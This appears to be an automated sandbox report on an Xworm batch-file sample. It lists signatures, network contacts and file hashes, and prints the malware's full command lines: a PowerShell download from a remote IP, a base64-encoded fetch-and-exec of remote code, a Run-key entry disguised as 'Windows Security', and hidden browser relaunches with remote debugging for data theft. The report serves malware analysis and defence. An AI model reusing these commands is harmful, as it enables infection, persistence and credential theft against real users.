Analysis Overview
SHA256
cc1695a2e481381f8e5d8a5bedc46e3e9c02f5644251a887898036408dc9bcbe
Threat Level: Known bad
The file cc1695a2e481381f8e5d8a5bedc46e3e9c02f5644251a887898036408dc9bcbe.bat was found to be: Known bad.
Malicious Activity Summary
Xworm family
Xworm
Detect Xworm Payload
Uses browser remote debugging
Blocklisted process makes network request
Loads dropped DLL
Reads user/profile data of web browsers
Checks computer location settings
Executes dropped EXE
Adds Run key to start application
Looks up external IP address via web service
System Location Discovery: System Language Discovery
Enumerates physical storage devices
Browser Information Discovery
Kills process with taskkill
Suspicious use of SetWindowsHookEx
Suspicious use of AdjustPrivilegeToken
Suspicious behavior: EnumeratesProcesses
Suspicious use of FindShellTrayWindow
Suspicious use of WriteProcessMemory
Modifies Internet Explorer settings
Enumerates system info in registry
Modifies registry class
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-11-14 03:09
Signatures
Analysis: behavioral2
Detonation Overview
Submitted
2024-11-14 03:09
Reported
2024-11-14 03:11
Platform
win10v2004-20241007-en
Max time kernel
149s
Max time network
151s
Command Line
Signatures
Detect Xworm Payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Xworm
Xworm family
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Uses browser remote debugging
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | N/A |
| N/A | N/A | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
| N/A | N/A | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | N/A |
| N/A | N/A | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
| N/A | N/A | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation | C:\Windows\system32\mshta.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\xFSOj9El1Q\synaptics.exe | N/A |
Loads dropped DLL
Reads user/profile data of web browsers
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Windows Security = "C:\\Windows\\Explorer.EXE C:\\Users\\Admin\\AppData\\Local\\WindowsSecurity.lnk" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Looks up external IP address via web service
| Description | Indicator | Process | Target |
| N/A | ip-api.com | N/A | N/A |
Browser Information Discovery
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\xFSOj9El1Q\synaptics.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\taskkill.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\taskkill.exe | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
| Key opened | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | N/A |
Kills process with taskkill
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\taskkill.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\taskkill.exe | N/A |
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-3227495264-2217614367-4027411560-1000\{F981693D-4533-4DE3-A257-705DC23696EA} | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | N/A |
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of FindShellTrayWindow
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
| N/A | N/A | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\xFSOj9El1Q\synaptics.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\cc1695a2e481381f8e5d8a5bedc46e3e9c02f5644251a887898036408dc9bcbe.bat"
C:\Windows\system32\chcp.com
chcp 65001
C:\Windows\system32\mshta.exe
mshta vbscript:createobject("wscript.shell").run("""C:\Users\Admin\AppData\Local\Temp\CC1695~1.BAT"" ::",0)(window.close)
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\CC1695~1.BAT" ::"
C:\Windows\system32\chcp.com
chcp 65001
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('http://42.96.10.8/envxfix.zip', [System.IO.Path]::GetTempPath() + 'xFSOj9El1Q.zip') "
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo $dst = [System.IO.Path]::Combine([System.Environment]::GetFolderPath('LocalApplicationData'), 'xFSOj9El1Q'); Add-Type -AssemblyName System.IO.Compression.FileSystem; if (Test-Path $dst) { Remove-Item -Recurse -Force "$dst\*" } else { New-Item -ItemType Directory -Force $dst } ; [System.IO.Compression.ZipFile]::ExtractToDirectory([System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), 'xFSOj9El1Q.zip'), $dst) "
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo $s = $payload = "import base64;exec(base64.b64decode('aW1wb3J0IHVybGxpYi5yZXF1ZXN0O2ltcG9ydCBiYXNlNjQ7ZXhlYyhiYXNlNjQuYjY0ZGVjb2RlKHVybGxpYi5yZXF1ZXN0LnVybG9wZW4oJ2h0dHA6Ly80Mi45Ni4xMC44L1ZPSU5FX0JVJykucmVhZCgpLmRlY29kZSgndXRmLTgnKSkp'))";$obj = New-Object -ComObject WScript.Shell;$link = $obj.CreateShortcut("$env:LOCALAPPDATA\WindowsSecurity.lnk");$link.WindowStyle = 7;$link.TargetPath = "$env:LOCALAPPDATA\xFSOj9El1Q\synaptics.exe";$link.IconLocation = "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe,13";$link.Arguments = "-c `"$payload`"";$link.Save() "
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo New-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'Windows Security' -PropertyType String -Value 'C:\Windows\Explorer.EXE C:\Users\Admin\AppData\Local\WindowsSecurity.lnk' -Force "
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\system32\cmd.exe
cmd.exe /c start "" "C:\Users\Admin\AppData\Local\xFSOj9El1Q\synaptics.exe" -c "import base64;exec(base64.b64decode('aW1wb3J0IHVybGxpYi5yZXF1ZXN0O2ltcG9ydCBiYXNlNjQ7ZXhlYyhiYXNlNjQuYjY0ZGVjb2RlKHVybGxpYi5yZXF1ZXN0LnVybG9wZW4oJ2h0dHA6Ly80Mi45Ni4xMC44L1ZPSU5FX0JVJykucmVhZCgpLmRlY29kZSgndXRmLTgnKSkp'))"
C:\Users\Admin\AppData\Local\xFSOj9El1Q\synaptics.exe
"C:\Users\Admin\AppData\Local\xFSOj9El1Q\synaptics.exe" -c "import base64;exec(base64.b64decode('aW1wb3J0IHVybGxpYi5yZXF1ZXN0O2ltcG9ydCBiYXNlNjQ7ZXhlYyhiYXNlNjQuYjY0ZGVjb2RlKHVybGxpYi5yZXF1ZXN0LnVybG9wZW4oJ2h0dHA6Ly80Mi45Ni4xMC44L1ZPSU5FX0JVJykucmVhZCgpLmRlY29kZSgndXRmLTgnKSkp'))"
C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM chrome.exe
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffb3823cc40,0x7ffb3823cc4c,0x7ffb3823cc58
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --field-trial-handle=1960,i,12305907298467029309,13911755663551556085,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=1956 /prefetch:2
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --no-appcompat-clear --field-trial-handle=1764,i,12305907298467029309,13911755663551556085,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=1984 /prefetch:3
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --no-appcompat-clear --field-trial-handle=2088,i,12305907298467029309,13911755663551556085,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2240 /prefetch:8
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=2860,i,12305907298467029309,13911755663551556085,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2880 /prefetch:1
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=2884,i,12305907298467029309,13911755663551556085,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2892 /prefetch:1
C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4060,i,12305907298467029309,13911755663551556085,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4028 /prefetch:1
C:\Windows\SysWOW64\taskkill.exe
taskkill /F /IM msedge.exe
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:/Program Files (x86)/Microsoft/Edge/Application/msedge.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffb289846f8,0x7ffb28984708,0x7ffb28984718
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2132,6118677099443853909,3680215308569521866,131072 --no-sandbox --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=2156 /prefetch:2
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2132,6118677099443853909,3680215308569521866,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --mojo-platform-channel-handle=2220 /prefetch:3
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2132,6118677099443853909,3680215308569521866,131072 --lang=en-US --service-sandbox-type=utility --no-sandbox --mojo-platform-channel-handle=2496 /prefetch:8
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --no-sandbox --remote-debugging-port=9222 --field-trial-handle=2132,6118677099443853909,3680215308569521866,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3224 /prefetch:1
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --no-sandbox --remote-debugging-port=9222 --field-trial-handle=2132,6118677099443853909,3680215308569521866,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3232 /prefetch:1
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --no-sandbox --remote-debugging-port=9222 --field-trial-handle=2132,6118677099443853909,3680215308569521866,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4548 /prefetch:1
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --no-sandbox --remote-debugging-port=9222 --field-trial-handle=2132,6118677099443853909,3680215308569521866,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4588 /prefetch:1
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 209.205.72.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 83.210.23.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 74.32.126.40.in-addr.arpa | udp |
| VN | 42.96.10.8:80 | 42.96.10.8 | tcp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 13.86.106.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 8.10.96.42.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 58.55.71.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 53.210.109.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 198.187.3.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 24.139.73.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.214.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 13.227.111.52.in-addr.arpa | udp |
| VN | 42.96.10.8:80 | 42.96.10.8 | tcp |
| US | 8.8.8.8:53 | 10.180.250.142.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 35.200.250.142.in-addr.arpa | udp |
| US | 8.8.8.8:53 | www.google.com | udp |
| GB | 216.58.201.100:443 | www.google.com | tcp |
| US | 8.8.8.8:53 | 100.201.58.216.in-addr.arpa | udp |
| GB | 216.58.201.100:443 | www.google.com | udp |
| N/A | 127.0.0.1:9222 | tcp | |
| N/A | 127.0.0.1:9222 | tcp | |
| N/A | 127.0.0.1:9222 | tcp | |
| US | 8.8.8.8:53 | ip-api.com | udp |
| US | 208.95.112.1:80 | ip-api.com | tcp |
| US | 8.8.8.8:53 | api.telegram.org | udp |
| NL | 149.154.167.220:443 | api.telegram.org | tcp |
| N/A | 127.0.0.1:9222 | tcp | |
| US | 8.8.8.8:53 | 1.112.95.208.in-addr.arpa | udp |
| VN | 42.96.10.8:80 | 42.96.10.8 | tcp |
| US | 8.8.8.8:53 | 220.167.154.149.in-addr.arpa | udp |
| VN | 42.96.10.8:80 | 42.96.10.8 | tcp |
| NL | 149.154.167.220:443 | api.telegram.org | tcp |
| VN | 42.96.11.54:25209 | tcp | |
| US | 8.8.8.8:53 | 54.11.96.42.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 14.173.189.20.in-addr.arpa | udp |
Files
memory/4992-2-0x000001B6A28B0000-0x000001B6A28D2000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uycqvb5o.0wh.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/4992-12-0x000001B6A2DC0000-0x000001B6A2E04000-memory.dmp
memory/4992-13-0x000001B6A2E90000-0x000001B6A2F06000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | 3f01549ee3e4c18244797530b588dad9 |
| SHA1 | 3e87863fc06995fe4b741357c68931221d6cc0b9 |
| SHA256 | 36b51e575810b6af6fc5e778ce0f228bc7797cd3224839b00829ca166fa13f9a |
| SHA512 | 73843215228865a4186ac3709bf2896f0f68da0ba3601cc20226203dd429a2ad9817b904a45f6b0456b8be68deebf3b011742a923ce4a77c0c6f3a155522ab50 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
| MD5 | e4de99c1795fd54aa87da05fa39c199c |
| SHA1 | dfaaac2de1490fae01104f0a6853a9d8fe39a9d7 |
| SHA256 | 23c35f4fcd9f110592d3ff34490e261efbcf6c73aa753887479197fd15289457 |
| SHA512 | 796b6d3f7b9a336bc347eae8fb11cdbf2ae2ad73aae58de79e096c3ad57bd45eadddae445a95c4ee7452554568d7ab55b0307972b24e2ff75eae4a098ba9e926 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
| MD5 | a26df49623eff12a70a93f649776dab7 |
| SHA1 | efb53bd0df3ac34bd119adf8788127ad57e53803 |
| SHA256 | 4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245 |
| SHA512 | e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c |
memory/3880-30-0x00000275A1C80000-0x00000275A1C8A000-memory.dmp
memory/3880-31-0x00000275A1D00000-0x00000275A1D12000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\xFSOj9El1Q.zip
| MD5 | aab458ecef654501e4a6e317dbe2b0b4 |
| SHA1 | c667ed704735afb86b461f742c6a2f7029027915 |
| SHA256 | 5311222c1839a55ea2226479ee65db19d1dc00d6b15be4c23b231d75a9ba4889 |
| SHA512 | bfe03fff3e0e20679983b4bfd2e0c0372720898645ff4450802dc6bb2d2007d5beafffb80acad02f4ffac33a99aefcc3f26bad99dd536db17b7196d7f77b3eec |
C:\Users\Admin\AppData\Local\xFSOj9El1Q\Lib\site-packages\idna-3.10.dist-info\INSTALLER
| MD5 | 365c9bfeb7d89244f2ce01c1de44cb85 |
| SHA1 | d7a03141d5d6b1e88b6b59ef08b6681df212c599 |
| SHA256 | ceebae7b8927a3227e5303cf5e0f1f7b34bb542ad7250ac03fbcde36ec2f1508 |
| SHA512 | d220d322a4053d84130567d626a9f7bb2fb8f0b854da1621f001826dc61b0ed6d3f91793627e6f0ac2ac27aea2b986b6a7a63427f05fe004d8a2adfbdadc13c1 |
C:\Users\Admin\AppData\Local\xFSOj9El1Q\Lib\site-packages\pyasn1\codec\der\__init__.py
| MD5 | 0fc1b4d3e705f5c110975b1b90d43670 |
| SHA1 | 14a9b683b19e8d7d9cb25262cdefcb72109b5569 |
| SHA256 | 1040e52584b5ef6107dfd19489d37ff056e435c598f4e555f1edf4015e7ca67d |
| SHA512 | 8a147c06c8b0a960c9a3fa6da3b30a3b18d3612af9c663ee24c8d2066f45419a2ff4aa3a636606232eca12d7faef3da0cbbd3670a2d72a3281544e1c0b8edf81 |
C:\Users\Admin\AppData\Local\xFSOj9El1Q\Lib\site-packages\setuptools\_vendor\packaging\specifiers.py
| MD5 | 7acafe408d6d5dd64238fd689638b177 |
| SHA1 | 04ffe4f1c2e6d8796ae64b8d3ccd1b9791f31445 |
| SHA256 | 2d1434905b07ae5e6a7dc14d10426b20562c9c81d05095d8f5f22c6a44ebaea1 |
| SHA512 | b3cbe5fd1627f46f3bed6b5d12341d45f42070b5acb37266a6884d2d32e422672f656c00e99aa56894ddc12398e9f76d46c4089095df6c225e5a37f2e5d30f2f |
C:\Users\Admin\AppData\Local\xFSOj9El1Q\Lib\site-packages\setuptools\_vendor\packaging\tags.py
| MD5 | e38b04681f4e31b77b316c978f6749bd |
| SHA1 | 1a2cecedf2686b5de23beb435957d92894bc990e |
| SHA256 | 966b2718d889f02e03fcf7fd3db334aa06d9bc3f64981f65a590505196b747f6 |
| SHA512 | 6eee7a6b90d1676b18eaa84fa010b348207bc88b7dc206696eba87f85b33cfced6e297e757a95891b609d7e9647b377001507853c8121d93739d20adaeef26a2 |
C:\Users\Admin\AppData\Local\xFSOj9El1Q\Lib\site-packages\setuptools\_vendor\packaging\version.py
| MD5 | 8fb00e724a7af8d0b43fa3365fd3eff0 |
| SHA1 | 161edb467745642554aff7ee33a3eb69ff9e7287 |
| SHA256 | fdf2d136b16bc5870755fca8f2f93d8fcb3a24cf0dff1b12c5516be91272728f |
| SHA512 | cc785380e70f1f716079d789de11e4c6b1a5e20003beb9871efecb12c490d4ea64ba0f33d795c07d5de94c2ac66b5802474158bf71358a258b82837bbc1855d3 |
C:\Users\Admin\AppData\Local\xFSOj9El1Q\Lib\site-packages\setuptools\_vendor\packaging\__init__.py
| MD5 | b85796f8d9d4e7556c6ad5ec9f0c5371 |
| SHA1 | 9501323e7783213ab6c7c8e8fd05cd95d7a76ba1 |
| SHA256 | 6fd2a4e4c17b2b18612e07039a2516ba437e2dab561713dd36e8348e83e11d29 |
| SHA512 | eb02053d616708ed5c51da204e1dae2072bb2263e1466024e3bc363a35ceffba509794aec153e6a36cf49474cd73e4f63f3e2daa34d6d18de83fbfb055321263 |
C:\Users\Admin\AppData\Local\xFSOj9El1Q\Lib\site-packages\setuptools\_vendor\packaging\__about__.py
| MD5 | 68d5fc8a7ddb919bb241078b4e4db9cc |
| SHA1 | 65369f014ea304064474d47c719401803c999ed8 |
| SHA256 | ba001220edb0d685321fcfc23aa4365ffb34ac38636e1402df2268703d378767 |
| SHA512 | ba9e26df6282c298bc52f7b1f3b47648118dcb65eaff1cbf0fb17007a39f46787596295e54a097e674af2565c024fb49a1e39a6e44bdfceb20295060b96f2c1f |
C:\Users\Admin\AppData\Local\xFSOj9El1Q\Lib\site-packages\setuptools\_vendor\packaging\_structures.py
| MD5 | de664fedc083927d3d084f416190d876 |
| SHA1 | fe0c3747cf14e696276cb6806c6775503de002b8 |
| SHA256 | ab77953666d62461bf4b40e2b7f4b7028f2a42acffe4f6135c500a0597b9cabe |
| SHA512 | cff19a724fac387599d98c0a365849078dbcbea65efca1ee445f158268b9241e552212a99e7e0b34394d246e3a06c999a7f1a967f64b2724ca9b623d62996c6f |
C:\Users\Admin\AppData\Local\xFSOj9El1Q\Lib\site-packages\setuptools\_vendor\packaging\_musllinux.py
| MD5 | 0210636ea49cabb88154105b88045e64 |
| SHA1 | d446d94e2b0fe0ec6286292877c3926268ecab4a |
| SHA256 | fca1a063fa9ceef84c1a9a2ab2cdb99f68622c234a46dbf3f660ab4bb824ab27 |
| SHA512 | 2ffc53a4c2b3600b20c8efe9c92d77ddac659c42c74dbc7abb2478017ac4050d7debc190b134369f4ad8e3d6c53ecf4e06c683938c5bde99dd7675739d6a1c73 |
C:\Users\Admin\AppData\Local\xFSOj9El1Q\Lib\site-packages\setuptools\_vendor\packaging\_manylinux.py
| MD5 | 80df840e0ac823fa34bcfa543296ba35 |
| SHA1 | 0ff6c9ceb0819aef9d68cee59d7942fa0544661f |
| SHA256 | 5dc6e25c1faa723bf76dca21a7a37df1332938fe3f8f79be88e03ca6d2b61966 |
| SHA512 | cd5bf95d0a51b0f6dac148f0706dc18298a4f3e5b8ed0271af0f54cda46078afe22831d29aa5ab65afa837c0e9f7dc26aaf655af9c2683714eeef0232a4a9848 |
C:\Users\Admin\AppData\Local\xFSOj9El1Q\Lib\site-packages\setuptools\_vendor\packaging\utils.py
| MD5 | 359296260a63d16f5149ccdd7ae70762 |
| SHA1 | 5979c6b8353210e327b4689a66207c56a7c8e3d1 |
| SHA256 | 7498de6addc14be4d89f546b505570b9f50c6ac6edccb7d8468cbf1d710d7854 |
